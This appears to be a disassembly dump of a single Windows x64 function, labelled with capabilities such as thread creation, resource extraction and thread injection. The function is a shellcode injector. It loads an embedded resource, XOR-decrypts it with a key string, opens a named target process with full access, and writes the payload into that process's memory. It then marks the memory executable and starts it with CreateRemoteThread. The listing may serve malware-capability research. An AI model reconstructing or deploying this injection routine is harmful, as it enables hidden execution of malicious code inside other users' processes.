Function at 0x1400015fb
Capabilities:
Create thread
Extract resource via kernel32 functions
Inject thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov dword [rbp - 0x54], 0
cmp dword [rbp + 0x10], 2
je 0x140001646
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rdx, rax
lea rax, str._n____Usage:__s__Process_Name__n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001b97
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.findTargetProc
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 0x1c], 0
jne 0x140001689
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rdx, rax
lea rax, str._n____Could_not_find_the_provided_process__s_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001b97
mov r8d, 0xa
mov edx, 0x3e8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceW]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x1400016cc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._n____Could_not_locate_the_resource___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rax, qword [rbp - 0x28]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000170b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._n____Could_not_load_the_resource___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x140001745
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._n____Could_not_lock_the_resource___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rax, qword [rbp - 0x30]
mov rdx, rax
lea rax, str._n___The_base_address_of_the_resource_is_0x_p_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x28]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp - 0x34], eax
cmp dword [rbp - 0x34], 0
jne 0x140001798
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._n____Could_not_get_the_size_of_the_resource___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov eax, dword [rbp - 0x34]
mov edx, eax
lea rax, str.___Size_of_the_resource:__ld_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp - 0x34]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
jne 0x1400017f6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._n____Could_not_allocate_a_buffer___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rax, qword [rbp - 0x40]
mov rdx, rax
lea rax, str.___The_base_address_of_the_allocated_buffer_is_0x_p_n
mov rcx, rax
call sym.printf
lea rax, str.___Decrypting_the_shellcode_..._n
mov rcx, rax
call sym.printf
mov edx, dword [rbp - 0x34]
mov rax, qword [rbp - 0x30]
mov r9d, 0x19
mov r8, rdx
lea rdx, str.YZAXAYAZuser32.dllHXAYZ_H
mov rcx, rax
call sym.xor
mov ecx, dword [rbp - 0x34]
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov edx, dword [rbp - 0x1c]
mov r8d, edx
mov rdx, rax
lea rax, str._n___Starting_Process_Injection_n___Process_Name:__s_n___PID:__ld_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp - 0x1c]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400018cd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov ecx, dword [rbp - 0x1c]
mov r9d, edx
mov r8d, ecx
mov rdx, rax
lea rax, str._n____Could_not_open_the_process__s__PID:__ld____ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov edx, dword [rbp - 0x1c]
mov r8d, edx
mov rdx, rax
lea rax, str._n___Got_a_handle_to_the_process__s__PID:__ld__n
mov rcx, rax
call sym.printf
mov edx, dword [rbp - 0x34]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x48], rax
cmp qword [rbp - 0x48], 0
jne 0x140001954
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov r8d, edx
mov rdx, rax
lea rax, str._n____Could_not_allocate_a_buffer_in_the_memory_address_space_of_the_process__s___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rax, qword [rbp - 0x48]
mov rdx, rax
lea rax, str.___The_base_address_of_the_allocated_buffer_is_0x_p_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rdx, rax
lea rax, str.___Injecting_the_shellcode_into_the_memory_address_space_of_the_process__s_n
mov rcx, rax
call sym.printf
mov r8d, dword [rbp - 0x34]
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp - 0x4c], eax
cmp dword [rbp - 0x4c], 0
jne 0x1400019da
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Could_not_write_shellcode_on_the_allocated_buffer___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov r8d, dword [rbp - 0x34]
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x54]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
mov dword [rbp - 0x50], eax
cmp dword [rbp - 0x50], 0
jne 0x140001a29
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Could_not_change_protections___ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov rcx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001aa3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov ecx, dword [rbp - 0x1c]
mov r9d, edx
mov r8d, ecx
mov rdx, rax
lea rax, str.____Could_not_create_a_remote_thread_on_the_process__s__PID:__ld____ERROR_CODE:__lx_n
mov rcx, rax
call sym.printf
jmp 0x140001adc
mov eax, dword [rbp - 0x58]
mov edx, eax
lea rax, str.___Waiting_for_the_newly_created_thread__TID:__ld__to_finish_the_execution_..._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rax, str.___Thread_finished_the_execution._n
mov rcx, rax
call sym.printf
nop
lea rax, str._n___Cleaning_up_..._n
mov rcx, rax
call sym.printf
cmp qword [rbp - 0x28], 0
je 0x140001b11
lea rax, str.___Closing_handle_to_resource_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp - 8], 0
je 0x140001b37
lea rax, str.___Closing_handle_to_resource_data_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp - 0x18], 0
je 0x140001b5d
lea rax, str.___Closing_handle_to_thread_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp - 0x10], 0
je 0x140001b83
lea rax, str.___Closing_handle_to_process_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str._n___Quitting_..._n
mov rcx, rax
call sym.printf
mov eax, 0
add rsp, 0xa0
pop rbp
ret